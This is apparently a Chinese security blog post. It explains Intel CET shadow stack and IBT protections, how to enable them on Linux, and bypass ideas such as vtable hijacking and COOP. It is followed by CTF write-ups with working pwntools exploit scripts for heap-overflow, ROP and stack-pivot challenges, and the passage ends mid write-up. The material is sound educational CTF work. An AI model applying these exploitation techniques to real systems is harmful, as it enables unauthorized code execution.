Intel CET (Shadow Stack + IBT) CFI 保护及其弱点
Intel CETIntel CET（Controlflow Enforcement Technology / 控制流加固技术）CFI（Control Flow Integrity / 控制流完整性）检查是近些年兴起的保护机制，其中包含 SHSTK（SHadow STacK）和 IBT（Indirect Branch Tracking），Intel Tiger Lake（11 代）及以上 CPU 才支持。SHSTK 是一种后向控制流完整性（Backward-edge CFI）检查（简单来说是在“返回”时的检查），一般需要硬件支持。程序运行时在不同内存映射中同时维护两个调用栈，一个是众所周知的栈区，另一个是新增的“影子栈”，只存储返回地址。CPU 在过程调用与返回时将同时操作两个栈，如果在返回时发现正常调用栈的返回地址与影子栈中的不同就产生异常。这样一来只通过栈缓冲区溢出等方式修改栈上函数返回值以劫持控制流的方式就失效了，也就是所有 ROP 攻击都将失效。IBT 是一种前向控制流完整性（Forward-edge CFI）检查（简单来说是在“调用”时的检查）。CPU 每当执行间接调用及跳转时都检查目标的指令是否为 endbr64/32，如果是就不执行任何操作（类似 nop），如果不是就产生异常。这样一来大幅削弱了 COP / JOP 攻击。Forward-edge CFI 可以在软件层面模拟，例如 Windows CFG、Clang CFI 等，但是会大幅降低程序性能，每次虚函数调用等都需要校验，实用价值有限。目前 Windows 只支持 Shadow Stack（Windows CFG），还不支持以 endbr 指令为基础的 IBT（存疑，Windows 我不熟悉）；Linux 上也几乎没有程序启用这项保护，算是高度实验性的功能吧。不过 SHSTK 保护很可能在未来成为继 RELRO、Stack Canary、NX、ASLR (PIE) 后又一项常见的用户态保护机制。下文即将提到的 COOP 攻击对于未来的 Pwner 可能也会是像 ROP 一样必学的攻击方式？（Hackergame 2024 中有一道开启了 SHSTK 和 IBT 的 Pwn 题，但好像没开 ASLR，解法是直接篡改 shadow stack 本身再 ROP。）验证 Intel CET 是否可用接下来是在 Linux 上实验启用 CET 的具体操作，主要是 Shadow Stack。首先需要内核启用 CET 特性，Linux 6.2 默认启用 IBT，Linux 6.6 正式合并 SHSTK。在命令行中验证启用状态：$ sudo dmesg | grep CET [ 0.111658] CET detected: Indirect Branch Tracking enabled $ cat /proc/cpuinfo | grep shstk flags : ... user_shstk ... $ cat /proc/cpuinfo | grep ibt flags : ... ibt ...验证某程序是否在编译时启用 CET：$ readelf -n <application> | grep -a SHSTK Properties: x86 feature: IBT, SHSTK $ readelf -n <application> | grep -a IBT Properties: x86 feature: IBT, SHSTKGCC / glibc 环境启用 Intel CETGlibc 已经在其 ld.so 中初步支持 Intel CET 保护。我的环境：CPU: 13th Gen Intel(R) Core(TM) i7-13700H (20) @ 5.00 GHz Kernel: 6.14.7-zen2-1-zen (archlinux) glibc: GNU C Library (GNU libc) stable release version 2.41如果自己的电脑没有 Intel CET 软硬件支持，推荐使用 eqqie 学长开发的 qemu 插件（github）。我的电脑由于恰好满足所有条件，所以我图方便直接实机测试了比较粗暴。开虚拟环境总是对的。编译时使用 gcc 编译时添加以下编译参数：gcc -fcf-protection=full运行时目前 glibc 动态链接器 ld.so 默认不启用 Intel CET 特性（见源码），需要设置以下环境变量以强制启用：GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK将以上环境变量中 on 改为 permissive 可以以更兼容的方式启用 CET（SHSTK / IBT），当程序本身或其动态链接库不支持 CET 特性时，动态链接器将自动关闭 CET。保护效果编写这样一个简单的 C 程序：# File: test_cet.c #include <stdio.h> int main(void) { puts("Hello, shadow stack!"); return 0; }编译运行：$ gcc -fcf-protection=branch test_cet.c -o test_cet $ GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK ./test_cet Hello, shadow stack!程序正常输出，但这并不是重点。接下来使用 gdb + pwndbg 调试验证 Shadow Stack 确实已启用：$ gdb ./a.out pwndbg> r ... pwndbg> set environment GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK pwndbg> start ... pwndbg> vmmap ... 0x7ffff7400000 0x7ffff7c00000 rw-p 800000 0 [anon_7ffff7400] ... pwndbg> b _IO_file_write ... pwndbg> c ... pwndbg> tele 0x7ffff7bff000 1000 00:0000│ 0x7ffff7bff000 ◂— 0 ... ↓ 496 skipped 1f1:0f88│ 0x7ffff7bfff88 —▸ 0x7ffff7e99aac (sbrk+108) ◂— test eax, eax 1f2:0f90│ 0x7ffff7bfff90 —▸ 0x7ffff7e252e6 (__default_morecore+22) ◂— cmp rax, -1 1f3:0f98│ 0x7ffff7bfff98 —▸ 0x7ffff7e2622b (sysmalloc+1019) ◂— mov r10, qword ptr [rbp - 0x50] 1f4:0fa0│ 0x7ffff7bfffa0 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38] 1f5:0fa8│ 0x7ffff7bfffa8 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38] 1f6:0fb0│ 0x7ffff7bfffb0 —▸ 0x7ffff7e28002 (malloc+434) ◂— test rax, rax 1f7:0fb8│ 0x7ffff7bfffb8 —▸ 0x7ffff7e012fd (_IO_file_doallocate+173) ◂— mov eax, 1 1f8:0fc0│ 0x7ffff7bfffc0 —▸ 0x7ffff7e0d2dd (new_do_write+93) ◂— movzx edi, word ptr [rbx + 0x80] 1f9:0fc8│ 0x7ffff7bfffc8 —▸ 0x7ffff7e0e191 (_IO_do_write+33) ◂— cmp rbx, rax 1fa:0fd0│ 0x7ffff7bfffd0 —▸ 0x7ffff7e0e70b (_IO_file_overflow+283) ◂— cmp eax, -1 1fb:0fd8│ 0x7ffff7bfffd8 —▸ 0x7ffff7e03dba (puts+474) ◂— cmp eax, -1 1fc:0fe0│ 0x7ffff7bfffe0 —▸ 0x555555555160 (main+23) ◂— mov eax, 0 1fd:0fe8│ 0x7ffff7bfffe8 —▸ 0x7ffff7da8e08 (__libc_start_call_main+120) ◂— mov edi, eax 1fe:0ff0│ 0x7ffff7bffff0 —▸ 0x7ffff7da8ecc (__libc_start_main+140) ◂— mov r14, qword ptr [rip + 0x1c10a5] 1ff:0ff8│ 0x7ffff7bffff8 —▸ 0x555555555075 (_start+37) ◂— hlt pwndbg> bt #0 _IO_new_file_write (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0, n=18) at fileops.c:1174 #1 0x00007ffff7e0d2dd in new_do_write (fp=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0 "Hello, Intel CET!\n", to_do=to_do@entry=18) at /usr/src/debug/glibc/glibc/libio/libioP.h:1030 #2 0x00007ffff7e0e191 in _IO_new_do_write (fp=fp@entry=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=<optimized out>, to_do=18) at fileops.c:426 #3 0x00007ffff7e0e70b in _IO_new_file_overflow (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, ch=10) at fileops.c:784 #4 0x00007ffff7e03dba in __GI__IO_puts (str=0x555555556004 "Hello, Intel CET!") at ioputs.c:41 #5 0x0000555555555160 in main () #6 0x00007ffff7da8e08 in __libc_start_call_main (main=main@entry=0x555555555149 , argc=argc@entry=1, argv=argv@entry=0x7fffffffe2f8) at ../sysdeps/nptl/libc_start_call_main.h:58 #7 0x00007ffff7da8ecc in __libc_start_main_impl (main=0x555555555149 , argc=1, argv=0x7fffffffe2f8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2e8) at ../csu/libc-start.c:360 #8 0x0000555555555075 in _start ()可以看到程序运行时多出一个较大的匿名内存区域，这就是 Shadow Stack。在一个 glibc 中调用层级较深的函数下断点，可以看到 Shadow Stack 中存储了逐层函数返回地址（调用栈），与 back trace 相符。我们可以试试在 SHSTK 开启时栈溢出修改栈上返回地址劫持控制流是否还有效。#include <stdio.h> int main() { char buf[0x10]; gets(buf); return 0; }$ gcc -fcf-protection=full --ansi -fno-stack-protector main.cpwndbg> r Starting program: /home/rik/Desktop/a.out [Thread debugging using libthread_db enabled] Using host libthread_db library "/usr/lib/libthread_db.so.1". aaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0x0000555555555167 in main () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ──[ REGISTERS / show-flags off / show-compact-regs off ]── RAX 0 RBX 0 RCX 0x7ffff7f6c7c0 ◂— 0 RDX 0x7ffff7f6c7c0 ◂— 0 RDI 0x7fffffffe151 ◂— 'aaaaaaaaaaaaaaaaaaaaaaa' RSI 0x5555555592a1 ◂— 'aaaaaaaaaaaaaaaaaaaaaaa\n' R8 0x5555555592b9 ◂— 0 R9 0xfbad2288 R10 0 R11 0x202 R12 0x7fffffffe288 —▸ 0x7fffffffe658 ◂— '/home/rik/Desktop/a.out' R13 1 R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 —▸ 0x555555554000 ◂— 0x10102464c457f R15 0x555555557dd8 —▸ 0x5555555550f0 ◂— endbr64 RBP 0x6161616161616161 ('aaaaaaaa') RSP 0x7fffffffe168 —▸ 0x7ffff7dab600 ◂— cmp al, 0xff RIP 0x555555555167 (main+30) ◂— ret ──[ DISASM / x86-64 / set emulate on ]── ► 0x555555555167 <main+30> ret <0x7ffff7dab600> ↓ 0x7ffff7dab600 cmp al, 0xff 0x0 - 0xff EFLAGS => 0x213 [ CF pf AF zf sf IF df of ] ... pwndbg> xinfo 0x7ffff7dab600 Extended information for virtual address 0x7ffff7dab600: Containing mapping: 0x7ffff7da8000 0x7ffff7f18000 r-xp 170000 24000 /usr/lib/libc.so.6可以看到程序在 ret 处就已经产生段错误，连 RIP 都还不是篡改后的地址。用户态的 Shadow Stack 目前依旧是实验性的功能，在我自己电脑上测试，设置上述环境变量（on）后连 gdb 都打不开了...Fatal signal: 段错误 ----- Backtrace ----- 0x5ef6d4be903e ??? 0x5ef6d4d107c0 ??? 0x5ef6d4d109bb ??? 0x746656c4c1cf ??? 0x7466508bf125 ??? --------------------- A fatal error internal to GDB has been detected, further debugging is not possible. GDB will now terminate. This is a bug, please report it. For instructions, see: <https://www.gnu.org/software/gdb/bugs/>. fish: Job 1, 'GLIBC_TUNABLES=glibc.cpu.x86_sh…' terminated by signal SIGSEGV (Address boundary error)Linux 用户态启用 SHSTK 底层实现Linux 用户态动态开关 Shadow Stack 主要依赖 arch_prctl 系统调用：arch_prctl(ARCH_SHSTK_ENABLE, unsigned long feature) 启用‘feature’指定的特性。一次只能操作一个特性。 arch_prctl(ARCH_SHSTK_DISABLE, unsigned long feature) 关闭‘feature’指定的特性。一次只能操作一个特性。 arch_prctl(ARCH_SHSTK_LOCK, unsigned long features) 锁定特性的启用或关闭状态。‘features’ 是所有需要锁定的特性的遮罩（按位或）。没有按位或设定的特性的锁定状态不变，之后无法再启用或关闭已锁定的特性。 arch_prctl(ARCH_SHSTK_UNLOCK, unsigned long features) 锁定特性。‘features’ 是所有需要解锁的特性的遮罩。没有按位或设定的特性的锁定状态不变。只能在 ptrace 时使用。 arch_prctl(ARCH_SHSTK_STATUS, unsigned long addr) 将当前启用的特性拷贝到 addr 地址处。特性启用状态描述方式同上述用法中传入的 ‘features’。 可指定的特性： ARCH_SHSTK_SHSTK - Shadow stack ARCH_SHSTK_WRSS - WRSSGlibc 动态链接器 ld.so 中有关启用 SHSTK 的源码（sysdeps/unix/sysv/linux/x86_64/dl-cet.h）：/* 用宏启用 shadow stack 以避免调用栈下溢。（刚启用时 shadow stack 为空，此时若返回将触发保护。）*/ #define ENABLE_X86_CET(cet_feature) \ if ((cet_feature & GNU_PROPERTY_X86_FEATURE_1_SHSTK)) \ { \ long long int kernel_feature = ARCH_SHSTK_SHSTK; \ INTERNAL_SYSCALL_CALL (arch_prctl, ARCH_SHSTK_ENABLE, \ kernel_feature); \ } #define X86_STRINGIFY_1(x) #x #define X86_STRINGIFY(x) X86_STRINGIFY_1 (x) /* 如果已在 GL(dl_x86_feature_1) 启用，则在调用 _dl_init 前启用 shadow stack。调用 _dl_setup_x86_features 以初始化 shadow stack。*/ #define RTLD_START_ENABLE_X86_FEATURES \ "\ # 检查 shadow stack 是否已在 GL(dl_x86_feature_1) 启用。\n\ movl _rtld_local+" X86_STRINGIFY (RTLD_GLOBAL_DL_X86_FEATURE_1_OFFSET) "(%rip), %edx\n\ testl $" X86_STRINGIFY (X86_FEATURE_1_SHSTK) ", %edx\n\ jz 1f\n\ # 如果在 GL(dl_x86_feature_1) 中启用，启用 shadow stack。\n\ movl $" X86_STRINGIFY (ARCH_SHSTK_SHSTK) ", %esi\n\ movl $" X86_STRINGIFY (ARCH_SHSTK_ENABLE) ", %edi\n\ movl $" X86_STRINGIFY (__NR_arch_prctl) ", %eax\n\ syscall\n\ 1:\n\ # 将 GL(dl_x86_feature_1) 传参给 _dl_cet_setup_features。\n\ movl %edx, %edi\n\ # 为调用 _dl_cet_setup_features 对齐栈指针。\n\ andq $-16, %rsp\n\ call _dl_cet_setup_features\n\ # 从 %r12 和 %r13 恢复 %rax 和 %rsp。\n\ movq %r12, %rax\n\ movq %r13, %rsp\n\ "所以其实可以这样手动在程序中使用 shadow stack 而无需依赖 glibc ld.so（注意要使用宏函数，原因见上方源码中注释）：#include <stdio.h> #define ENABLE_SHSTK \ asm("mov $0x5001, %rdi;" \ "mov $0x1, %rsi;" \ "mov $158, %rax;" \ "syscall;"); #define DISABLE_SHSTK \ asm("mov $0x5002, %rdi;" \ "mov $0x1, %rsi;" \ "mov $158, %rax;" \ "syscall;"); int main(void) { ENABLE_SHSTK // ... DISABLE_SHSTK // 或者直接 exit(0); return 0; }SHSTK 内核底层实现arch_prctl 在处理 SHSTK 相关操作时会转到 shstk_prctl，SHSTK 的主要逻辑就在 arch/x86/kernel/shstk.c。SHSTK 本身主要由硬件实现，内核只负责检查参数、管理 shadow stack 内存页、通过 wrss 指令设置相关寄存器和异常处理等。在申请 shadow stack 内存页 do_mmap 时，flags 参数传入了一个新的标志 VM_SHADOW_STACK（bootlin），这样 mmap 会额外申请一个保护页（guard page），这个页一旦被读写就会触发异常。Shadow stack 指针（ssp）移动方式有 push、pop 和 incssp 指令，其中 incssp 指令移动 ssp 后会读目标地址及相邻的内存，且 ssp 一次最多只能移动 2040 字节。加入 guard page 后可以防止程序通过 incssp 指令将 ssp 移动到用户可控的内存区。（内核这块目前我还不清楚，以后补充吧。）Intel CET 启用后的攻击思路虽然 ROP 被 SHSTK 彻底拿下（😭），但是 IBT 提供的前向控制流保护只检查了跳转的地址是否合法，没考虑这个地址是否被替换。于是我们就有了新的攻击思路。虚函数表劫持我在 Mini L-CTF 2025 中恰好出了一道好评率为 0 的虚函数表劫持（virtual table hijack）相关的 Pwn 题（CTFers）。于是把那道题的题解搬到这里。我们考虑这样的 C++ 程序：#include <iostream> #include <vector> class Base { public: virtual void func() = 0; // 纯虚函数 }; class A : public Base { void func() override { std::cout << "I am A!\n"; } }; class B : public Base { void func() override { std::cout << "I am B!\n"; } }; int main() { std::vector objs; objs.emplace_back(new A()); objs.emplace_back(new B()); for (auto obj : objs) { obj->func(); } } // 输出： // I am A! // I am B!A 和 B 继承自 Base，std::vector 存储这两种对象时仅存储其基类对象指针（实际应该使用智能指针）而丢弃了具体的类型信息（A 还是 B？）。然而我们依旧可以直接调用对应类型的虚函数 func，这是因为 C++ 运行时多态特性。大多数编译器实现它的方式是虚函数表，在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表。虚函数被调用时首先从对象里的虚函数表指针指向的虚函数表中取出对应虚函数地址，然后再进行调用：; rax 为对象地址 mov rdx, qword [rax] ; 取虚函数表 mov rdx, qword [rdx + offset] ; 取虚函数 mov rdi, rax ; 传 this 指针隐式作为首个参数 call rdx ; 虚函数调用所以，一个包含了虚函数的 C++ 对象的内存布局会是这样：struct Object { void (**vtable)(struct Object *, ...); // 虚函数表指针 /* 对象字段 ... */ };如果我们能劫持虚函数表指针，指向伪造的虚函数表，其中包含类似 one_gadget 那样的后门函数或者 system 之类。可实际情况我们往往需要拼接多个代码片段达到任意代码执行的效果（用来泄露基址、执行 orw 等）。没有 ROP 的话怎么做到链式“拼接”代码片段呢？有研究人员提出了 COOP（虽然但是这大概是绕过 CFI 检查多种思路中相对困难的一种）开启控制流完整性保护后第一时间考虑的攻击方式应该是各种 data-only（仅数据）攻击，不篡改控制流但篡改敏感数据从而控制程序行为。COOP 攻击只在很极端的情况才能达成，不过确实是一个挺有趣且并非前所未有的形式 :)。COOPCOOP（Counterfeit Object Oriented Programming / 面向伪对象编程）是一种新的代码重用攻击。其实我们早已见过 COOP 攻击：高版本 glibc 堆利用往往结合 IO_FILE 利用，“打 IO”就是一种原始的 COOP，只是不在 C++ 中。通过篡改 IO_FILE 中某些作为跳表函数参数的字段，篡改 vtable，构造 system("/bin/sh")。然而我们的目标是实现几乎任意代码执行，需要真正的基于 vfgadgets 的 COOP。Vfgadgets 是 COOP 论文提出的新型 gadgets，由于 SHSTK + IBT，我们能够利用的 gadgets 从 ret 前的代码片段（ROP gadgets）变成了完整的函数——vfgadget。vfgadgets 大致可以分为 Main Loop Gadget（将其他 vfgadgets 串联起来）、Argument Loader Gadget（类似 ROP 中的 pop rdi; ret;）、Invoker Gadget（类似 ROP 中的 system）和 Collector Gadget（存储 Invoker 的结果）。以上是一张关于 COOP 攻击十分经典的配图搜寻 vfgadgets 的工具（类似 ropper）：https://github.com/x86-512/VXpp我觉得理解 COOP 需要搞清楚这几种 vfgadgets 的来源，以下是高度简化的模型：// 这个类实际上应该不会生成虚函数，所有 vfgadgets 也不是在同一个类中，只为简化理解。 class Vfgadgets { size_t data; // 数据类型不是重点 size_t *addr; std::vector objs; // 也可以是更简单的：Base* objs[N]; virtual void looper() { for (auto obj : objs) { obj->func(); } } virtual void invoker() { this->victim_vfunc(); } virtual void loader() { size_t var; // 寄存器变量 var = this->data; // 也可以是 var = *(this->addr) 之类 // 总之是从对象写入寄存器 } virtual void collector(size_t arg) { this->data = arg; // 也可以是 *(this->addr) = arg; *(this->addr) = 1234; 之类 // 总之是从寄存器或立即数写入对象 } virtual void victim_vfunc() { // 这里的函数体不是重点，反正会被篡改成另一个函数。 } };其实为了给这些 vfgadgets 再分类，原论文用了很多概念和抽象，我写得还是过于不严谨了（应该比较直观吧）。这几种 vfgadgets 中最重要的是 Main Loop Gadget（Looper），它将所有真正有用的 vfgadgets 串联起来，构成链式调用，达到 ROP 不断返回到各种代码片段连成一串的效果。Looper 从当前对象字段中取出类似数组的容器，其中是有虚函数表的对象，并遍历执行每个对象的某个虚函数。这在开启了优化的大型 C++ 程序特别是 GUI 程序中比较常见，比如释放资源时调用虚析构函数，注册/注销事件之类。COOP 的攻击条件是已知基址且能够伪造对象，例如 UAF 或者堆缓冲区溢出等漏洞，可以控制堆上分配的对象。我们需要伪造的东西有：Looper 所在对象（类比 FSOP 时篡改 _IO_list_all）​ 篡改其某即将被调用的虚函数为来自另一个对象或全局函数 (?) 的 Looper，再篡改这个 Looper 遍历的伪对象容器地址或内容（指针数组）。Looper 遍历的伪对象（类比 FSOP 时构造 fake files）​ 将会被调用的虚函数改为其他三种 vfgadgets。一旦 Looper 被调用，它就会逐个执行容器中一连串伪对象中的 vfgadgets。如果没有 IBT 只有 SHSTK 保护的话，那应该就可以直接把 ROP gadgets 当作 vfgadgets，只是这些 gadgets 不由 ret“触发”而是直接被 call，理应实现任意代码执行。如果开启了 IBT 就更加困难了，毕竟只能执行完整的函数 (?)，而不是 ret 前的代码片段，不过依旧能够实现攻击。（据说 COOP 和 ROP 一样是图灵完备的，具体分析过程我还没看明白。）这种玩法好像在哪里见过？Glibc IO_FILE 利用中有种类似的手法 FSOP。FSOP 通过 _chain 链接任意读写原语，遍历 _IO_list_all 的 _IO_flush_all 可以看作 looper。很像篡改 glibc ld.so _rtld_global 伪造 fini_array。fini_array 类似那个容器，不过里面存的直接就是 vfgadgets，那么负责遍历调用 fini_array 中函数的 __run_exit_handlers 就像是 looper 了。COOPlus 原论文的 presentation 里面有很多配图值得一看。COOPlus简单地通过修改虚函数表指针劫持虚函数表早就有了对应的保护措施，例如 gcc 的 virtual table verification（VTV）。虚函数表中会有一个类似 stack canary 的 magic number，在调用虚函数前会先校验虚函数表指针，虚函数表指针一定要指向虚函数表 ✍。我们熟悉的 glibc IO 也会检查 IO_FILE_plus 虚函数表指针 vtable，不过那是通过地址范围来检查。由于虚函数表一般都在只读段，所以不容易篡改。然而如果我们在整个利用过程中所有虚函数表指针都合法呢？也就是只是将某个对象的虚函数表指针更换为另一个对象的。由于不同类的虚函数表往往放在一起，只需篡改虚函数表指针低位，无需泄露基址就可能更换虚函数表，从而实现越界修改对象字段等简单操作。这就是 COOPlus。COOPlus 主要用来扩大攻击面，通过 vfgadgets 篡改对象中的关键字段（例如权限等级、缓冲区长度等）从而进一步利用。COOPlus 原论文设计了一个工具 VScape，可以自动扫描程序中 COOPlus 攻击原语。论文作者经过测试发现许多大型 C++ 程序都有不少适合 COOPlus 攻击的虚函数。USMAUSMA 是由 360 漏洞研究院提出的一种 linux kernel 利用方式。“它允许普通用户进程可以映射内核态内存并且修改内核代码段，通过这个方法，我们可以绕过Linux内核中的CFI缓解措施，在内核态中执行任意代码。”详细过程请看原文：USMA:用户态映射攻击缓解措施如果细粒度前向控制流完整性保护启用了的话，每次虚函数调用都要校验函数指针（而非只是表）的签名，那 COOP 应该就失效了。不过这样激进的保护应该不太可能大面积应用。……参考资料COOP 原论文COOPlus / VScape 原论文Bypassing Intel CET with Counterfeit ObjectsCVE-2015-5122: Exploitation Using COOP《Counterfeit Object-oriented Programming》 论文笔记顺带一提：最近在学习 linux kernel pwn 的时候发现所有的虚函数前面都有 __cfi_*“函数”，其开头是 moveax, 0x8f07ca55，后面有一些 nop 然后直接 fallthrough 进入真正的函数实现。稍微了解了下，这应该是 LLVM / Clang 引入的 CFI (Control Flow Intergrity) 检查。在调用这样的虚函数前，会先校验函数指针：如果函数指针指向的代码段内容第 1~4 个字节是 0x8f07ca55（第 0 个字节是 mov 指令），才通过检查，如果不是就进一步处理，大概率会直接 panic。类似 glibc tcache 对 key 的检查。控制流完整性检查在 linux 内核态已经相对完善，而且实现起来也比在用户态简单。
CTFers题目链接程序有三个功能，增删查。新增时暂存名字用到了 name_buf，查询时有一个虚函数调用 Binary::info 或 Web::info。另外还有一个隐藏后门 0xdeadbeef，可以修改一次 ctfers 首个元素的地址。既然程序没有开启 PIE，那么当然可以将地址改到 name_buf，从而在输入名字时伪造 CTFer 对象。但我们首先要知道这个对象里有什么。Binary 和 Web 继承自 CTFer，std::vector 存储这两种对象时仅存储其指针而丢弃了类型信息。然而我们依旧可以直接调用对应类型的 info，这是因为 C++ 运行时多态特性。虽然 C++ 标准并未规定，但大多数编译器实现它的方式是虚函数表。通过在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表来实现运行时多态。本题虚函数调用在此：004025f4 mov rdx, qword [rax] 004025f7 mov rdx, qword [rdx] 004025fa mov rdi, rax 004025fd call rdxCTFer 对象还用 STL 容器 std::vector 存储了名字字符串。其具体实现依赖编译器，但我们可以通过在 new 前后断点，查看新增堆块的内容来反推其结构。以下是用 C 语言表示的 CTFer 对象：（符号名仅作参考）struct CTFer { void (**vtable)(struct CTFer *); int64_t points; struct std_string { char *base; size_t length; union { size_t capacity; char buffer[16]; }; } nickname; };当 length < 16 时 buffer 复用 capacity 内存而非单独 malloc，不过这并不重要。我们可以先恢复正确的虚函数表，然后修改 nickname base 指向 GOT 项，修改适当的 length，从而通过 print_info 泄露基址。获得各个库的基址绕过 ASLR 后解法就十分自由了，只要找到栈迁移 gadget 即可执行任意代码。需要注意调用 info 虚函数时 RAX 和 RDI 都指向 CTFer 对象，也就是可控的 name_buf，可依此选择 gadget。这里我们选用来自 libstdc++ 中的一个 COP gadget：0x0000000000113764: mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30];然后只需要在 name_buf 上写 ROP 链即可。Exp:from pwn import * context(os='linux', arch='amd64') e = ELF('./ctfers') io = ... libc = ELF('./libc.so.6', checksec=False) def add(fake_object: bytes): io.sendlineafter(b'Choice > ', b'0') io.sendlineafter(b'Name > ', fake_object) io.sendlineafter(b'Points > ', b'0') io.sendlineafter(b'- 1 > ', b'0') def show_info(): io.sendlineafter(b'Choice > ', b'2') def backdoor(address: int): io.sendlineafter(b'Choice > ', str(0xdeadbeef).encode()) io.sendline(str(address).encode()) vtable = 0x408C98 cout = 0x409080 libc_start_main_got = e.got['__libc_start_main'] input_buf = e.sym['name_buf'] # 还原虚函数表指针，改 std::string 头指针为 got 项 add(cyclic(16) + p64(vtable) + p64(0) + p64(libc_start_main_got) + p64(8) + p64(8)) backdoor(input_buf + 16) show_info() # leak libc io.recvuntil(b'I am ') libc.address = u64(io.recv(8)) - 0x274c0 - 0x2900 success(f'libc_base: 0x{libc.address:x}') add(cyclic(16) + p64(vtable) + p64(0) + p64(cout) + p64(8) + p64(8)) backdoor(input_buf + 16) show_info() # leak libstdc++ io.recvuntil(b'I am ') libstdcxx_base = u64(io.recv(8)) - 0x223370 success(f'libstdcxx_base: 0x{libstdcxx_base:x}') # mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30]; magic = libstdcxx_base + 0x0000000000113764 leave = 0x0000000000402a63 pop_rax = libstdcxx_base + 0x00000000000da536 pop_rbp = libstdcxx_base + 0x00000000000aafb3 one_gadget = libc.address + 0xebd43 add(cyclic(16) + p64(input_buf + 8 + 16) + p64(magic) + p64(pop_rax) + p64(0) + p64(pop_rbp) + p64(0x4093a0) + p64(one_gadget) + p64(leave)) show_info() # 栈迁移 ROP io.interactive()Payload 有时会被空白字符截断，可能需要多次尝试。另外，类似虚函数表劫持的利用手法一般需要通过 UAF 构造重叠堆块来控制虚函数表指针。本题在删除 CTFer 时仅调用了 std::vector#remove(...)，由于 ctfers 中存储的是 CTFer *，remove 并不会调用 CTFer 对象的析构器也不会释放其内存。题目初版有 delete 也有 UAF，后简化为给一个后门函数并关闭 PIE。miniLCTF{In_real_scenarios_you_need_a_UAF}MiniSnake题目链接程序存在后门函数且没有开启 PIE。漏洞点是 events_handler 线程同时处理撞墙和得分，但是用于闪烁显示“GOT POINT!”的 thrd_sleep 会阻塞线程从而使 events_handler 有可能错过撞墙事件处理。通过源码可以看出地图存储在栈上，蛇身也在显示前先写入地图中。如果开始游戏前选择“Numeric skin”则可以向栈上写入任意数值，在得分之后立即撞墙则可以穿墙越界写入。需要找到合适的种子生成合适的初始蛇或食物从而写入后门函数地址。得到合适的种子很简单，只需要照着程序逻辑写一个爆破程序即可。#include <limits.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> int main(void) { for (int seed = 0; seed < INT_MAX; ++seed) { srandom(seed); if (random() % (UINT8_MAX - 1) + 1 == 0x40 && random() % (UINT8_MAX - 1) + 1 == 0x16 && random() % (UINT8_MAX - 1) + 1 == 0x4D) { printf("FOUND SEED: %d\n", seed); } } return 0; }但是返回地址在地图外的哪里？还得小心 stack canary。如果动态调试寻找的话会十分折磨。可以考虑用 keypatch 等工具修改程序中地图显示的高度从而快速定位返回地址的位置。（也可考虑修改源码再编译）.text:0000000000401DDB .text:0000000000401DDB loc_401DDB: ; CODE XREF: draw+83↑j .text:0000000000401DDB cmp [rbp+var_18], 11h ; Keypatch modified this from: .text:0000000000401DDB ; cmp [rbp+var_18], 0Fh .text:000000000040249F mov edi, 14h ; int .text:000000000040249F ; Keypatch modified this from: .text:000000000040249F ; mov edi, 12hPatch 后再次启动程序就可以看到效果（可能需要调整下终端宽高）：*--------------------------------* | | | aa | | ac | | b49182 | | | | |14 3 | | | 10 | | ca | | ab| | 1b de | | 98 | | ad be | | | | | | | |d0eb1212ff7f f3584b5c7e1f54| |20ec1212ff7f a32640 | *--------------------------------*可以看到返回地址就在右下角，其上是 stack canary。合适的种子可以是 16183281，此时初始蛇身就是后门函数地址。接下来穿墙到达返回地址的位置按 Q 退出即可。记下拐弯时的坐标方便攻击远程环境。miniLCTF{secret_destination_behind_walls}
anote菜单堆，堆块大小固定为 0x1c，edit 时有明显堆溢出。堆块上有一 edit callback 函数指针，修改为 backdoor 再 edit 触发即可。虽然 edit 起始点在 callback 位置之后，但是可以堆溢出修改相邻堆上的 callback 函数指针。Exp:from pwn import * from ctypes import * itob = lambda x: str(x).encode() context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './note' io = process(binary) e = ELF(binary) # size: 0x1c def add(): io.sendlineafter(b'>>', b'1') def show(index: int): io.sendlineafter(b'>>', b'2') io.sendlineafter(b': ', itob(index)) # size <= 0x28 def edit(index: int, size: int, content: bytes): io.sendlineafter(b'>>', b'3') io.sendlineafter(b': ', itob(index)) io.sendlineafter(b': ', itob(size)) io.sendlineafter(b': ', content) def exit(): io.sendlineafter(b'>>', b'4') backdoor = 0x080489CE add() add() show(0) io.recvuntil(b'gift: ') heap_backdoor_addr = int(io.recvuntil(b'\n'), 16) + 8 success(f'heap_addr: {heap_backdoor_addr:x}') edit(0, 28, p32(backdoor) * 5 + p32(0x21) + p32(heap_backdoor_addr)) edit(1, 4, p32(0)) io.interactive()avmVM instruction 格式为 opcode 4bits | operand_a 12bits/5bits | padding 6bits | operand_b 5bits | operand_r 5bits。功能有加减乘除等基本运算，没有直接的加载立即数。opcode 10 是 load from stack，opcode 9 是 write to stack，两者皆不检查边界，栈上任意读写。输入的 command 在栈上，可以预先写入 libc 符号偏移。利用 main 返回地址 leak libc，VM 内计算真实地址，写 ROP chain。最后需要考虑 system 内部栈指针 16 